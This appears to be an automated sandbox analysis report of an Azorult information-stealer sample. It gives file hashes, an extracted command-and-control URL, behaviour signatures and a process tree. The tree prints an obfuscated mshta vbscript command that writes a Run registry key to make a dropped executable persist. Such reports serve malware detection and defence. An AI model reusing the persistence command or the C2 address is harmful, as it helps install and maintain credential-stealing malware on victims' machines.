Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    17-09-2024 14:37

General

  • Target

    e70a0a2127982ae79c14bdf5d8134d4a_JaffaCakes118.exe

  • Size

    272KB

  • MD5

    e70a0a2127982ae79c14bdf5d8134d4a

  • SHA1

    b659dc011da0583c308a5a1d39d5bcb27fbc0336

  • SHA256

    f570125519d8cfdcc062ca28def97c43066f8ffd1d99e48c9b579ab9a5229dff

  • SHA512

    b81e9099eb1c6b027b189f64ae987f08b9ad8491f586142b970ab6f81bd496f6f9a2e2cee4f7b0e4c69ebf9338702b199983b506f1b521b9ff52b322bb35c482

  • SSDEEP

    3072:wWEJcSWEJcZsASuf9k7vpB41JzndCbPEBmMD/f3yXGsHImgQWOPaCNaCIfWEJc:wWZSWZRf9kE0bY/fCWsHImSTRxWZ

Malware Config

Extracted

Family

azorult

C2

http://rowv.us/nwama/index.php

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e70a0a2127982ae79c14bdf5d8134d4a_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\e70a0a2127982ae79c14bdf5d8134d4a_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2500
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" vbscript:Execute(" str1 = ""WScript.Shell"" : str2 = ""Set WshShell = CrXXteObject(str1)"" : str2 = Replace(str2,""XX"",""ea"") : execute str2 : myKey = ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Spaghettis1"" : WshShell.RegWrite myKey,""C:\Users\Admin\AppData\Local\Temp\ADVENTRY.exe"",""REG_SZ"" : window.close")
      2⤵
      • Adds Run key to start application
      • System Location Discovery: System Language Discovery
      PID:2248
    • C:\Users\Admin\AppData\Local\Temp\ADVENTRY.exe
      "C:\Users\Admin\AppData\Local\Temp\ADVENTRY.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:2452

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • \Users\Admin\AppData\Local\Temp\ADVENTRY.exe

    Filesize

    272KB

    MD5

    056c8da79521204591fa908948c3ccd1

    SHA1

    113f2e915224ed1af9f4de6c8fb8ae724b26ec95

    SHA256

    64dec3e4c11c493496bf37afbd1c249f189bdb4993bcf0cb7b662b457bf079a4

    SHA512

    6142971f461cf57428de28770c080add6caf39bc5a04dd2c62eecda24284196a3e14bd29abc66eb510098d6e49648ddf9d5e833711edb746b67abb25b2cbae98

  • memory/2452-15-0x0000000000400000-0x0000000000444000-memory.dmp

    Filesize

    272KB

  • memory/2452-16-0x0000000000400000-0x0000000000444000-memory.dmp

    Filesize

    272KB

  • memory/2500-3-0x0000000077A20000-0x0000000077BC9000-memory.dmp

    Filesize

    1.7MB

  • memory/2500-2-0x0000000077A21000-0x0000000077B22000-memory.dmp

    Filesize

    1.0MB